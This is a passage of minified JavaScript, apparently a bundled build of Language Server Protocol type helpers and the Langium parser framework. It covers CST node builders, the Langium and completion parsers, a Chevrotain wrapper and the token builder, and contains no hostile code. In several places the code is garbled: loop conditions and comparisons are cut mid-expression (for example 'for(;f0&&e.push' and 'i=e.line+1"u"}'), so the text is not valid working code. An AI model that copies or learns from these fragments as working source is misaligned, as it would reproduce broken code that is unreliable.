Ge.string(i)||Ge.objectLiteral(i)&&Ge.string(i.language)&&Ge.string(i.value)}o(r,"is"),t.is=r})(PS||(PS={}));(function(t){function e(r){let n=r;return!!n&&Ge.objectLiteral(n)&&(Tb.is(n.contents)||PS.is(n.contents)||Ge.typedArray(n.contents,PS.is))&&(r.range===void 0||Gr.is(r.range))}o(e,"is"),t.is=e})(g0e||(g0e={}));(function(t){function e(r,n){return n?{label:r,documentation:n}:{label:r}}o(e,"create"),t.create=e})(y0e||(y0e={}));(function(t){function e(r,n,...i){let a={label:r};return Ge.defined(n)&&(a.documentation=n),Ge.defined(i)?a.parameters=i:a.parameters=[],a}o(e,"create"),t.create=e})(v0e||(v0e={}));(function(t){t.Text=1,t.Read=2,t.Write=3})(x0e||(x0e={}));(function(t){function e(r,n){let i={range:r};return Ge.number(n)&&(i.kind=n),i}o(e,"create"),t.create=e})(b0e||(b0e={}));(function(t){t.File=1,t.Module=2,t.Namespace=3,t.Package=4,t.Class=5,t.Method=6,t.Property=7,t.Field=8,t.Constructor=9,t.Enum=10,t.Interface=11,t.Function=12,t.Variable=13,t.Constant=14,t.String=15,t.Number=16,t.Boolean=17,t.Array=18,t.Object=19,t.Key=20,t.Null=21,t.EnumMember=22,t.Struct=23,t.Event=24,t.Operator=25,t.TypeParameter=26})(T0e||(T0e={}));(function(t){t.Deprecated=1})(w0e||(w0e={}));(function(t){function e(r,n,i,a,s){let l={name:r,kind:n,location:{uri:a,range:i}};return s&&(l.containerName=s),l}o(e,"create"),t.create=e})(k0e||(k0e={}));(function(t){function e(r,n,i,a){return a!==void 0?{name:r,kind:n,location:{uri:i,range:a}}:{name:r,kind:n,location:{uri:i}}}o(e,"create"),t.create=e})(E0e||(E0e={}));(function(t){function e(n,i,a,s,l,u){let h={name:n,detail:i,kind:a,range:s,selectionRange:l};return u!==void 0&&(h.children=u),h}o(e,"create"),t.create=e;function r(n){let i=n;return i&&Ge.string(i.name)&&Ge.number(i.kind)&&Gr.is(i.range)&&Gr.is(i.selectionRange)&&(i.detail===void 0||Ge.string(i.detail))&&(i.deprecated===void 0||Ge.boolean(i.deprecated))&&(i.children===void 0||Array.isArray(i.children))&&(i.tags===void 0||Array.isArray(i.tags))}o(r,"is"),t.is=r})(S0e||(S0e={}));(function(t){t.Empty="",t.QuickFix="quickfix",t.Refactor="refactor",t.RefactorExtract="refactor.extract",t.RefactorInline="refactor.inline",t.RefactorRewrite="refactor.rewrite",t.Source="source",t.SourceOrganizeImports="source.organizeImports",t.SourceFixAll="source.fixAll"})(C0e||(C0e={}));(function(t){t.Invoked=1,t.Automatic=2})(BS||(BS={}));(function(t){function e(n,i,a){let s={diagnostics:n};return i!=null&&(s.only=i),a!=null&&(s.triggerKind=a),s}o(e,"create"),t.create=e;function r(n){let i=n;return Ge.defined(i)&&Ge.typedArray(i.diagnostics,OS.is)&&(i.only===void 0||Ge.typedArray(i.only,Ge.string))&&(i.triggerKind===void 0||i.triggerKind===BS.Invoked||i.triggerKind===BS.Automatic)}o(r,"is"),t.is=r})(A0e||(A0e={}));(function(t){function e(n,i,a){let s={title:n},l=!0;return typeof i=="string"?(l=!1,s.kind=i):I1.is(i)?s.command=i:s.edit=i,l&&a!==void 0&&(s.kind=a),s}o(e,"create"),t.create=e;function r(n){let i=n;return i&&Ge.string(i.title)&&(i.diagnostics===void 0||Ge.typedArray(i.diagnostics,OS.is))&&(i.kind===void 0||Ge.string(i.kind))&&(i.edit!==void 0||i.command!==void 0)&&(i.command===void 0||I1.is(i.command))&&(i.isPreferred===void 0||Ge.boolean(i.isPreferred))&&(i.edit===void 0||RP.is(i.edit))}o(r,"is"),t.is=r})(_0e||(_0e={}));(function(t){function e(n,i){let a={range:n};return Ge.defined(i)&&(a.data=i),a}o(e,"create"),t.create=e;function r(n){let i=n;return Ge.defined(i)&&Gr.is(i.range)&&(Ge.undefined(i.command)||I1.is(i.command))}o(r,"is"),t.is=r})(D0e||(D0e={}));(function(t){function e(n,i){return{tabSize:n,insertSpaces:i}}o(e,"create"),t.create=e;function r(n){let i=n;return Ge.defined(i)&&Ge.uinteger(i.tabSize)&&Ge.boolean(i.insertSpaces)}o(r,"is"),t.is=r})(L0e||(L0e={}));(function(t){function e(n,i,a){return{range:n,target:i,data:a}}o(e,"create"),t.create=e;function r(n){let i=n;return Ge.defined(i)&&Gr.is(i.range)&&(Ge.undefined(i.target)||Ge.string(i.target))}o(r,"is"),t.is=r})(R0e||(R0e={}));(function(t){function e(n,i){return{range:n,parent:i}}o(e,"create"),t.create=e;function r(n){let i=n;return Ge.objectLiteral(i)&&Gr.is(i.range)&&(i.parent===void 0||t.is(i.parent))}o(r,"is"),t.is=r})(N0e||(N0e={}));(function(t){t.namespace="namespace",t.type="type",t.class="class",t.enum="enum",t.interface="interface",t.struct="struct",t.typeParameter="typeParameter",t.parameter="parameter",t.variable="variable",t.property="property",t.enumMember="enumMember",t.event="event",t.function="function",t.method="method",t.macro="macro",t.keyword="keyword",t.modifier="modifier",t.comment="comment",t.string="string",t.number="number",t.regexp="regexp",t.operator="operator",t.decorator="decorator"})(M0e||(M0e={}));(function(t){t.declaration="declaration",t.definition="definition",t.readonly="readonly",t.static="static",t.deprecated="deprecated",t.abstract="abstract",t.async="async",t.modification="modification",t.documentation="documentation",t.defaultLibrary="defaultLibrary"})(I0e||(I0e={}));(function(t){function e(r){let n=r;return Ge.objectLiteral(n)&&(n.resultId===void 0||typeof n.resultId=="string")&&Array.isArray(n.data)&&(n.data.length===0||typeof n.data[0]=="number")}o(e,"is"),t.is=e})(O0e||(O0e={}));(function(t){function e(n,i){return{range:n,text:i}}o(e,"create"),t.create=e;function r(n){let i=n;return i!=null&&Gr.is(i.range)&&Ge.string(i.text)}o(r,"is"),t.is=r})(P0e||(P0e={}));(function(t){function e(n,i,a){return{range:n,variableName:i,caseSensitiveLookup:a}}o(e,"create"),t.create=e;function r(n){let i=n;return i!=null&&Gr.is(i.range)&&Ge.boolean(i.caseSensitiveLookup)&&(Ge.string(i.variableName)||i.variableName===void 0)}o(r,"is"),t.is=r})(B0e||(B0e={}));(function(t){function e(n,i){return{range:n,expression:i}}o(e,"create"),t.create=e;function r(n){let i=n;return i!=null&&Gr.is(i.range)&&(Ge.string(i.expression)||i.expression===void 0)}o(r,"is"),t.is=r})(F0e||(F0e={}));(function(t){function e(n,i){return{frameId:n,stoppedLocation:i}}o(e,"create"),t.create=e;function r(n){let i=n;return Ge.defined(i)&&Gr.is(n.stoppedLocation)}o(r,"is"),t.is=r})($0e||($0e={}));(function(t){t.Type=1,t.Parameter=2;function e(r){return r===1||r===2}o(e,"is"),t.is=e})(IP||(IP={}));(function(t){function e(n){return{value:n}}o(e,"create"),t.create=e;function r(n){let i=n;return Ge.objectLiteral(i)&&(i.tooltip===void 0||Ge.string(i.tooltip)||Tb.is(i.tooltip))&&(i.location===void 0||IS.is(i.location))&&(i.command===void 0||I1.is(i.command))}o(r,"is"),t.is=r})(OP||(OP={}));(function(t){function e(n,i,a){let s={position:n,label:i};return a!==void 0&&(s.kind=a),s}o(e,"create"),t.create=e;function r(n){let i=n;return Ge.objectLiteral(i)&&tn.is(i.position)&&(Ge.string(i.label)||Ge.typedArray(i.label,OP.is))&&(i.kind===void 0||IP.is(i.kind))&&i.textEdits===void 0||Ge.typedArray(i.textEdits,O1.is)&&(i.tooltip===void 0||Ge.string(i.tooltip)||Tb.is(i.tooltip))&&(i.paddingLeft===void 0||Ge.boolean(i.paddingLeft))&&(i.paddingRight===void 0||Ge.boolean(i.paddingRight))}o(r,"is"),t.is=r})(z0e||(z0e={}));(function(t){function e(r){return{kind:"snippet",value:r}}o(e,"createSnippet"),t.createSnippet=e})(G0e||(G0e={}));(function(t){function e(r,n,i,a){return{insertText:r,filterText:n,range:i,command:a}}o(e,"create"),t.create=e})(V0e||(V0e={}));(function(t){function e(r){return{items:r}}o(e,"create"),t.create=e})(U0e||(U0e={}));(function(t){t.Invoked=0,t.Automatic=1})(H0e||(H0e={}));(function(t){function e(r,n){return{range:r,text:n}}o(e,"create"),t.create=e})(q0e||(q0e={}));(function(t){function e(r,n){return{triggerKind:r,selectedCompletionInfo:n}}o(e,"create"),t.create=e})(W0e||(W0e={}));(function(t){function e(r){let n=r;return Ge.objectLiteral(n)&&kP.is(n.uri)&&Ge.string(n.name)}o(e,"is"),t.is=e})(Y0e||(Y0e={}));(function(t){function e(a,s,l,u){return new PP(a,s,l,u)}o(e,"create"),t.create=e;function r(a){let s=a;return!!(Ge.defined(s)&&Ge.string(s.uri)&&(Ge.undefined(s.languageId)||Ge.string(s.languageId))&&Ge.uinteger(s.lineCount)&&Ge.func(s.getText)&&Ge.func(s.positionAt)&&Ge.func(s.offsetAt))}o(r,"is"),t.is=r;function n(a,s){let l=a.getText(),u=i(s,(f,d)=>{let p=f.range.start.line-d.range.start.line;return p===0?f.range.start.character-d.range.start.character:p}),h=l.length;for(let f=u.length-1;f>=0;f--){let d=u[f],p=a.offsetAt(d.range.start),m=a.offsetAt(d.range.end);if(m<=h)l=l.substring(0,p)+d.newText+l.substring(m,l.length);else throw new Error("Overlapping edit");h=p}return l}o(n,"applyEdits"),t.applyEdits=n;function i(a,s){if(a.length<=1)return a;let l=a.length/2|0,u=a.slice(0,l),h=a.slice(l);i(u,s),i(h,s);let f=0,d=0,p=0;for(;f0&&e.push(r.length),this._lineOffsets=e}return this._lineOffsets}positionAt(e){e=Math.max(Math.min(e,this._content.length),0);let r=this.getLineOffsets(),n=0,i=r.length;if(i===0)return tn.create(0,e);for(;ne?i=s:n=s+1}let a=n-1;return tn.create(a,e-r[a])}offsetAt(e){let r=this.getLineOffsets();if(e.line>=r.length)return this._content.length;if(e.line<0)return 0;let n=r[e.line],i=e.line+1"u"}o(n,"undefined"),t.undefined=n;function i(m){return m===!0||m===!1}o(i,"boolean"),t.boolean=i;function a(m){return e.call(m)==="[object String]"}o(a,"string"),t.string=a;function s(m){return e.call(m)==="[object Number]"}o(s,"number"),t.number=s;function l(m,g,y){return e.call(m)==="[object Number]"&&g<=m&&m<=y}o(l,"numberRange"),t.numberRange=l;function u(m){return e.call(m)==="[object Number]"&&-2147483648<=m&&m<=2147483647}o(u,"integer"),t.integer=u;function h(m){return e.call(m)==="[object Number]"&&0<=m&&m<=2147483647}o(h,"uinteger"),t.uinteger=h;function f(m){return e.call(m)==="[object Function]"}o(f,"func"),t.func=f;function d(m){return m!==null&&typeof m=="object"}o(d,"objectLiteral"),t.objectLiteral=d;function p(m,g){return Array.isArray(m)&&m.every(g)}o(p,"typedArray"),t.typedArray=p})(Ge||(Ge={}))});var wb,kb,Yp,Xp,FP,B1,FS=N(()=>{"use strict";BP();Bl();wb=class{static{o(this,"CstNodeBuilder")}constructor(){this.nodeStack=[]}get current(){var e;return(e=this.nodeStack[this.nodeStack.length-1])!==null&&e!==void 0?e:this.rootNode}buildRootNode(e){return this.rootNode=new B1(e),this.rootNode.root=this.rootNode,this.nodeStack=[this.rootNode],this.rootNode}buildCompositeNode(e){let r=new Xp;return r.grammarSource=e,r.root=this.rootNode,this.current.content.push(r),this.nodeStack.push(r),r}buildLeafNode(e,r){let n=new Yp(e.startOffset,e.image.length,xg(e),e.tokenType,!r);return n.grammarSource=r,n.root=this.rootNode,this.current.content.push(n),n}removeNode(e){let r=e.container;if(r){let n=r.content.indexOf(e);n>=0&&r.content.splice(n,1)}}addHiddenNodes(e){let r=[];for(let a of e){let s=new Yp(a.startOffset,a.image.length,xg(a),a.tokenType,!0);s.root=this.rootNode,r.push(s)}let n=this.current,i=!1;if(n.content.length>0){n.content.push(...r);return}for(;n.container;){let a=n.container.content.indexOf(n);if(a>0){n.container.content.splice(a,0,...r),i=!0;break}n=n.container}i||this.rootNode.content.unshift(...r)}construct(e){let r=this.current;typeof e.$type=="string"&&(this.current.astNode=e),e.$cstNode=r;let n=this.nodeStack.pop();n?.content.length===0&&this.removeNode(n)}},kb=class{static{o(this,"AbstractCstNode")}get parent(){return this.container}get feature(){return this.grammarSource}get hidden(){return!1}get astNode(){var e,r;let n=typeof((e=this._astNode)===null||e===void 0?void 0:e.$type)=="string"?this._astNode:(r=this.container)===null||r===void 0?void 0:r.astNode;if(!n)throw new Error("This node has no associated AST element");return n}set astNode(e){this._astNode=e}get element(){return this.astNode}get text(){return this.root.fullText.substring(this.offset,this.end)}},Yp=class extends kb{static{o(this,"LeafCstNodeImpl")}get offset(){return this._offset}get length(){return this._length}get end(){return this._offset+this._length}get hidden(){return this._hidden}get tokenType(){return this._tokenType}get range(){return this._range}constructor(e,r,n,i,a=!1){super(),this._hidden=a,this._offset=e,this._tokenType=i,this._length=r,this._range=n}},Xp=class extends kb{static{o(this,"CompositeCstNodeImpl")}constructor(){super(...arguments),this.content=new FP(this)}get children(){return this.content}get offset(){var e,r;return(r=(e=this.firstNonHiddenNode)===null||e===void 0?void 0:e.offset)!==null&&r!==void 0?r:0}get length(){return this.end-this.offset}get end(){var e,r;return(r=(e=this.lastNonHiddenNode)===null||e===void 0?void 0:e.end)!==null&&r!==void 0?r:0}get range(){let e=this.firstNonHiddenNode,r=this.lastNonHiddenNode;if(e&&r){if(this._rangeCache===void 0){let{range:n}=e,{range:i}=r;this._rangeCache={start:n.start,end:i.end.line=0;e--){let r=this.content[e];if(!r.hidden)return r}return this.content[this.content.length-1]}},FP=class t extends Array{static{o(this,"CstNodeContainer")}constructor(e){super(),this.parent=e,Object.setPrototypeOf(this,t.prototype)}push(...e){return this.addParents(e),super.push(...e)}unshift(...e){return this.addParents(e),super.unshift(...e)}splice(e,r,...n){return this.addParents(n),super.splice(e,r,...n)}addParents(e){for(let r of e)r.container=this.parent}},B1=class extends Xp{static{o(this,"RootCstNodeImpl")}get text(){return this._text.substring(this.offset,this.end)}get fullText(){return this._text}constructor(e){super(),this._text="",this._text=e??""}}});function $P(t){return t.$type===$S}var $S,j0e,K0e,Eb,Sb,zS,F1,Cb,PXe,zP,Ab=N(()=>{"use strict";Ff();Ype();Hc();zl();hs();FS();$S=Symbol("Datatype");o($P,"isDataTypeNode");j0e="\u200B",K0e=o(t=>t.endsWith(j0e)?t:t+j0e,"withRuleSuffix"),Eb=class{static{o(this,"AbstractLangiumParser")}constructor(e){this._unorderedGroups=new Map,this.allRules=new Map,this.lexer=e.parser.Lexer;let r=this.lexer.definition,n=e.LanguageMetaData.mode==="production";this.wrapper=new zP(r,Object.assign(Object.assign({},e.parser.ParserConfig),{skipValidations:n,errorMessageProvider:e.parser.ParserErrorMessageProvider}))}alternatives(e,r){this.wrapper.wrapOr(e,r)}optional(e,r){this.wrapper.wrapOption(e,r)}many(e,r){this.wrapper.wrapMany(e,r)}atLeastOne(e,r){this.wrapper.wrapAtLeastOne(e,r)}getRule(e){return this.allRules.get(e)}isRecording(){return this.wrapper.IS_RECORDING}get unorderedGroups(){return this._unorderedGroups}getRuleStack(){return this.wrapper.RULE_STACK}finalize(){this.wrapper.wrapSelfAnalysis()}},Sb=class extends Eb{static{o(this,"LangiumParser")}get current(){return this.stack[this.stack.length-1]}constructor(e){super(e),this.nodeBuilder=new wb,this.stack=[],this.assignmentMap=new Map,this.linker=e.references.Linker,this.converter=e.parser.ValueConverter,this.astReflection=e.shared.AstReflection}rule(e,r){let n=this.computeRuleType(e),i=this.wrapper.DEFINE_RULE(K0e(e.name),this.startImplementation(n,r).bind(this));return this.allRules.set(e.name,i),e.entry&&(this.mainRule=i),i}computeRuleType(e){if(!e.fragment){if(jx(e))return $S;{let r=c1(e);return r??e.name}}}parse(e,r={}){this.nodeBuilder.buildRootNode(e);let n=this.lexerResult=this.lexer.tokenize(e);this.wrapper.input=n.tokens;let i=r.rule?this.allRules.get(r.rule):this.mainRule;if(!i)throw new Error(r.rule?`No rule found with name '${r.rule}'`:"No main rule available.");let a=i.call(this.wrapper,{});return this.nodeBuilder.addHiddenNodes(n.hidden),this.unorderedGroups.clear(),this.lexerResult=void 0,{value:a,lexerErrors:n.errors,lexerReport:n.report,parserErrors:this.wrapper.errors}}startImplementation(e,r){return n=>{let i=!this.isRecording()&&e!==void 0;if(i){let s={$type:e};this.stack.push(s),e===$S&&(s.value="")}let a;try{a=r(n)}catch{a=void 0}return a===void 0&&i&&(a=this.construct()),a}}extractHiddenTokens(e){let r=this.lexerResult.hidden;if(!r.length)return[];let n=e.startOffset;for(let i=0;in)return r.splice(0,i);return r.splice(0,r.length)}consume(e,r,n){let i=this.wrapper.wrapConsume(e,r);if(!this.isRecording()&&this.isValidToken(i)){let a=this.extractHiddenTokens(i);this.nodeBuilder.addHiddenNodes(a);let s=this.nodeBuilder.buildLeafNode(i,n),{assignment:l,isCrossRef:u}=this.getAssignment(n),h=this.current;if(l){let f=Zo(n)?i.image:this.converter.convert(i.image,s);this.assign(l.operator,l.feature,f,s,u)}else if($P(h)){let f=i.image;Zo(n)||(f=this.converter.convert(f,s).toString()),h.value+=f}}}isValidToken(e){return!e.isInsertedInRecovery&&!isNaN(e.startOffset)&&typeof e.endOffset=="number"&&!isNaN(e.endOffset)}subrule(e,r,n,i,a){let s;!this.isRecording()&&!n&&(s=this.nodeBuilder.buildCompositeNode(i));let l=this.wrapper.wrapSubrule(e,r,a);!this.isRecording()&&s&&s.length>0&&this.performSubruleAssignment(l,i,s)}performSubruleAssignment(e,r,n){let{assignment:i,isCrossRef:a}=this.getAssignment(r);if(i)this.assign(i.operator,i.feature,e,n,a);else if(!i){let s=this.current;if($P(s))s.value+=e.toString();else if(typeof e=="object"&&e){let u=this.assignWithoutOverride(e,s);this.stack.pop(),this.stack.push(u)}}}action(e,r){if(!this.isRecording()){let n=this.current;if(r.feature&&r.operator){n=this.construct(),this.nodeBuilder.removeNode(n.$cstNode),this.nodeBuilder.buildCompositeNode(r).content.push(n.$cstNode);let a={$type:e};this.stack.push(a),this.assign(r.operator,r.feature,n,n.$cstNode,!1)}else n.$type=e}}construct(){if(this.isRecording())return;let e=this.current;return zE(e),this.nodeBuilder.construct(e),this.stack.pop(),$P(e)?this.converter.convert(e.value,e.$cstNode):(gO(this.astReflection,e),e)}getAssignment(e){if(!this.assignmentMap.has(e)){let r=Ip(e,Fl);this.assignmentMap.set(e,{assignment:r,isCrossRef:r?Mp(r.terminal):!1})}return this.assignmentMap.get(e)}assign(e,r,n,i,a){let s=this.current,l;switch(a&&typeof n=="string"?l=this.linker.buildReference(s,r,i,n):l=n,e){case"=":{s[r]=l;break}case"?=":{s[r]=!0;break}case"+=":Array.isArray(s[r])||(s[r]=[]),s[r].push(l)}}assignWithoutOverride(e,r){for(let[i,a]of Object.entries(r)){let s=e[i];s===void 0?e[i]=a:Array.isArray(s)&&Array.isArray(a)&&(a.push(...s),e[i]=a)}let n=e.$cstNode;return n&&(n.astNode=void 0,e.$cstNode=void 0),e}get definitionErrors(){return this.wrapper.definitionErrors}},zS=class{static{o(this,"AbstractParserErrorMessageProvider")}buildMismatchTokenMessage(e){return Zu.buildMismatchTokenMessage(e)}buildNotAllInputParsedMessage(e){return Zu.buildNotAllInputParsedMessage(e)}buildNoViableAltMessage(e){return Zu.buildNoViableAltMessage(e)}buildEarlyExitMessage(e){return Zu.buildEarlyExitMessage(e)}},F1=class extends zS{static{o(this,"LangiumParserErrorMessageProvider")}buildMismatchTokenMessage({expected:e,actual:r}){return`Expecting ${e.LABEL?"`"+e.LABEL+"`":e.name.endsWith(":KW")?`keyword '${e.name.substring(0,e.name.length-3)}'`:`token of type '${e.name}'`} but found \`${r.image}\`.`}buildNotAllInputParsedMessage({firstRedundant:e}){return`Expecting end of file but found \`${e.image}\`.`}},Cb=class extends Eb{static{o(this,"LangiumCompletionParser")}constructor(){super(...arguments),this.tokens=[],this.elementStack=[],this.lastElementStack=[],this.nextTokenIndex=0,this.stackSize=0}action(){}construct(){}parse(e){this.resetState();let r=this.lexer.tokenize(e,{mode:"partial"});return this.tokens=r.tokens,this.wrapper.input=[...this.tokens],this.mainRule.call(this.wrapper,{}),this.unorderedGroups.clear(),{tokens:this.tokens,elementStack:[...this.lastElementStack],tokenIndex:this.nextTokenIndex}}rule(e,r){let n=this.wrapper.DEFINE_RULE(K0e(e.name),this.startImplementation(r).bind(this));return this.allRules.set(e.name,n),e.entry&&(this.mainRule=n),n}resetState(){this.elementStack=[],this.lastElementStack=[],this.nextTokenIndex=0,this.stackSize=0}startImplementation(e){return r=>{let n=this.keepStackSize();try{e(r)}finally{this.resetStackSize(n)}}}removeUnexpectedElements(){this.elementStack.splice(this.stackSize)}keepStackSize(){let e=this.elementStack.length;return this.stackSize=e,e}resetStackSize(e){this.removeUnexpectedElements(),this.stackSize=e}consume(e,r,n){this.wrapper.wrapConsume(e,r),this.isRecording()||(this.lastElementStack=[...this.elementStack,n],this.nextTokenIndex=this.currIdx+1)}subrule(e,r,n,i,a){this.before(i),this.wrapper.wrapSubrule(e,r,a),this.after(i)}before(e){this.isRecording()||this.elementStack.push(e)}after(e){if(!this.isRecording()){let r=this.elementStack.lastIndexOf(e);r>=0&&this.elementStack.splice(r)}}get currIdx(){return this.wrapper.currIdx}},PXe={recoveryEnabled:!0,nodeLocationTracking:"full",skipValidations:!0,errorMessageProvider:new F1},zP=class extends gb{static{o(this,"ChevrotainWrapper")}constructor(e,r){let n=r&&"maxLookahead"in r;super(e,Object.assign(Object.assign(Object.assign({},PXe),{lookaheadStrategy:n?new Ju({maxLookahead:r.maxLookahead}):new bb({logging:r.skipValidations?()=>{}:void 0})}),r))}get IS_RECORDING(){return this.RECORDING_PHASE}DEFINE_RULE(e,r){return this.RULE(e,r)}wrapSelfAnalysis(){this.performSelfAnalysis()}wrapConsume(e,r){return this.consume(e,r)}wrapSubrule(e,r,n){return this.subrule(e,r,{ARGS:[n]})}wrapOr(e,r){this.or(e,r)}wrapOption(e,r){this.option(e,r)}wrapMany(e,r){this.many(e,r)}wrapAtLeastOne(e,r){this.atLeastOne(e,r)}}});function _b(t,e,r){return BXe({parser:e,tokens:r,ruleNames:new Map},t),e}function BXe(t,e){let r=Yx(e,!1),n=an(e.rules).filter(Ga).filter(i=>r.has(i));for(let i of n){let a=Object.assign(Object.assign({},t),{consume:1,optional:1,subrule:1,many:1,or:1});t.parser.rule(i,jp(a,i.definition))}}function jp(t,e,r=!1){let n;if(Zo(e))n=HXe(t,e);else if(qu(e))n=FXe(t,e);else if(Fl(e))n=jp(t,e.terminal);else if(Mp(e))n=Q0e(t,e);else if($l(e))n=$Xe(t,e);else if(BE(e))n=GXe(t,e);else if($E(e))n=VXe(t,e);else if(Of(e))n=UXe(t,e);else if(oO(e)){let i=t.consume++;n=o(()=>t.parser.consume(i,yo,e),"method")}else throw new Rp(e.$cstNode,`Unexpected element type: ${e.$type}`);return Z0e(t,r?void 0:GS(e),n,e.cardinality)}function FXe(t,e){let r=Kx(e);return()=>t.parser.action(r,e)}function $Xe(t,e){let r=e.rule.ref;if(Ga(r)){let n=t.subrule++,i=r.fragment,a=e.arguments.length>0?zXe(r,e.arguments):()=>({});return s=>t.parser.subrule(n,J0e(t,r),i,e,a(s))}else if(mo(r)){let n=t.consume++,i=GP(t,r.name);return()=>t.parser.consume(n,i,e)}else if(r)Uc(r);else throw new Rp(e.$cstNode,`Undefined rule: ${e.rule.$refText}`)}function zXe(t,e){let r=e.map(n=>eh(n.value));return n=>{let i={};for(let a=0;ae(n)||r(n)}else if(JI(t)){let e=eh(t.left),r=eh(t.right);return n=>e(n)&&r(n)}else if(tO(t)){let e=eh(t.value);return r=>!e(r)}else if(rO(t)){let e=t.parameter.ref.name;return r=>r!==void 0&&r[e]===!0}else if(ZI(t)){let e=!!t.true;return()=>e}Uc(t)}function GXe(t,e){if(e.elements.length===1)return jp(t,e.elements[0]);{let r=[];for(let i of e.elements){let a={ALT:jp(t,i,!0)},s=GS(i);s&&(a.GATE=eh(s)),r.push(a)}let n=t.or++;return i=>t.parser.alternatives(n,r.map(a=>{let s={ALT:o(()=>a.ALT(i),"ALT")},l=a.GATE;return l&&(s.GATE=()=>l(i)),s}))}}function VXe(t,e){if(e.elements.length===1)return jp(t,e.elements[0]);let r=[];for(let l of e.elements){let u={ALT:jp(t,l,!0)},h=GS(l);h&&(u.GATE=eh(h)),r.push(u)}let n=t.or++,i=o((l,u)=>{let h=u.getRuleStack().join("-");return`uGroup_${l}_${h}`},"idFunc"),a=o(l=>t.parser.alternatives(n,r.map((u,h)=>{let f={ALT:o(()=>!0,"ALT")},d=t.parser;f.ALT=()=>{if(u.ALT(l),!d.isRecording()){let m=i(n,d);d.unorderedGroups.get(m)||d.unorderedGroups.set(m,[]);let g=d.unorderedGroups.get(m);typeof g?.[h]>"u"&&(g[h]=!0)}};let p=u.GATE;return p?f.GATE=()=>p(l):f.GATE=()=>{let m=d.unorderedGroups.get(i(n,d));return!m?.[h]},f})),"alternatives"),s=Z0e(t,GS(e),a,"*");return l=>{s(l),t.parser.isRecording()||t.parser.unorderedGroups.delete(i(n,t.parser))}}function UXe(t,e){let r=e.elements.map(n=>jp(t,n));return n=>r.forEach(i=>i(n))}function GS(t){if(Of(t))return t.guardCondition}function Q0e(t,e,r=e.terminal){if(r)if($l(r)&&Ga(r.rule.ref)){let n=r.rule.ref,i=t.subrule++;return a=>t.parser.subrule(i,J0e(t,n),!1,e,a)}else if($l(r)&&mo(r.rule.ref)){let n=t.consume++,i=GP(t,r.rule.ref.name);return()=>t.parser.consume(n,i,e)}else if(Zo(r)){let n=t.consume++,i=GP(t,r.value);return()=>t.parser.consume(n,i,e)}else throw new Error("Could not build cross reference parser");else{if(!e.type.ref)throw new Error("Could not resolve reference to type: "+e.type.$refText);let n=qE(e.type.ref),i=n?.terminal;if(!i)throw new Error("Could not find name assignment for type: "+Kx(e.type.ref));return Q0e(t,e,i)}}function HXe(t,e){let r=t.consume++,n=t.tokens[e.value];if(!n)throw new Error("Could not find token for keyword: "+e.value);return()=>t.parser.consume(r,n,e)}function Z0e(t,e,r,n){let i=e&&eh(e);if(!n)if(i){let a=t.or++;return s=>t.parser.alternatives(a,[{ALT:o(()=>r(s),"ALT"),GATE:o(()=>i(s),"GATE")},{ALT:LS(),GATE:o(()=>!i(s),"GATE")}])}else return r;if(n==="*"){let a=t.many++;return s=>t.parser.many(a,{DEF:o(()=>r(s),"DEF"),GATE:i?()=>i(s):void 0})}else if(n==="+"){let a=t.many++;if(i){let s=t.or++;return l=>t.parser.alternatives(s,[{ALT:o(()=>t.parser.atLeastOne(a,{DEF:o(()=>r(l),"DEF")}),"ALT"),GATE:o(()=>i(l),"GATE")},{ALT:LS(),GATE:o(()=>!i(l),"GATE")}])}else return s=>t.parser.atLeastOne(a,{DEF:o(()=>r(s),"DEF")})}else if(n==="?"){let a=t.optional++;return s=>t.parser.optional(a,{DEF:o(()=>r(s),"DEF"),GATE:i?()=>i(s):void 0})}else Uc(n)}function J0e(t,e){let r=qXe(t,e),n=t.parser.getRule(r);if(!n)throw new Error(`Rule "${r}" not found."`);return n}function qXe(t,e){if(Ga(e))return e.name;if(t.ruleNames.has(e))return t.ruleNames.get(e);{let r=e,n=r.$container,i=e.$type;for(;!Ga(n);)(Of(n)||BE(n)||$E(n))&&(i=n.elements.indexOf(r).toString()+":"+i),r=n,n=n.$container;return i=n.name+":"+i,t.ruleNames.set(e,i),i}}function GP(t,e){let r=t.tokens[e];if(!r)throw new Error(`Token "${e}" not found."`);return r}var VS=N(()=>{"use strict";Ff();Hc();NE();Ys();zl();o(_b,"createParser");o(BXe,"buildRules");o(jp,"buildElement");o(FXe,"buildAction");o($Xe,"buildRuleCall");o(zXe,"buildRuleCallPredicate");o(eh,"buildPredicate");o(GXe,"buildAlternatives");o(VXe,"buildUnorderedGroup");o(UXe,"buildGroup");o(GS,"getGuardCondition");o(Q0e,"buildCrossReference");o(HXe,"buildKeyword");o(Z0e,"wrap");o(J0e,"getRule");o(qXe,"getRuleName");o(GP,"getToken")});function VP(t){let e=t.Grammar,r=t.parser.Lexer,n=new Cb(t);return _b(e,n,r.definition),n.finalize(),n}var UP=N(()=>{"use strict";Ab();VS();o(VP,"createCompletionParser")});function HP(t){let e=eme(t);return e.finalize(),e}function eme(t){let e=t.Grammar,r=t.parser.Lexer,n=new Sb(t);return _b(e,n,r.definition)}var qP=N(()=>{"use strict";Ab();VS();o(HP,"createLangiumParser");o(eme,"prepareLangiumParser")});var th,US=N(()=>{"use strict";Ff();Hc();hs();zl();l1();Ys();th=class{static{o(this,"DefaultTokenBuilder")}constructor(){this.diagnostics=[]}buildTokens(e,r){let n=an(Yx(e,!1)),i=this.buildTerminalTokens(n),a=this.buildKeywordTokens(n,i,r);return i.forEach(s=>{let l=s.PATTERN;typeof l=="object"&&l&&"test"in l&&o1(l)?a.unshift(s):a.push(s)}),a}flushLexingReport(e){return{diagnostics:this.popDiagnostics()}}popDiagnostics(){let e=[...this.diagnostics];return this.diagnostics=[],e}buildTerminalTokens(e){return e.filter(mo).filter(r=>!r.fragment).map(r=>this.buildTerminalToken(r)).toArray()}buildTerminalToken(e){let r=u1(e),n=this.requiresCustomPattern(r)?this.regexPatternFunction(r):r,i={name:e.name,PATTERN:n};return typeof n=="function"&&(i.LINE_BREAKS=!0),e.hidden&&(i.GROUP=o1(r)?Zn.SKIPPED:"hidden"),i}requiresCustomPattern(e){return e.flags.includes("u")||e.flags.includes("s")?!0:!!(e.source.includes("?<=")||e.source.includes("?(r.lastIndex=i,r.exec(n))}buildKeywordTokens(e,r,n){return e.filter(Ga).flatMap(i=>qc(i).filter(Zo)).distinct(i=>i.value).toArray().sort((i,a)=>a.value.length-i.value.length).map(i=>this.buildKeywordToken(i,r,!!n?.caseInsensitive))}buildKeywordToken(e,r,n){let i=this.buildKeywordPattern(e,n),a={name:e.value,PATTERN:i,LONGER_ALT:this.findLongerAlt(e,r)};return typeof 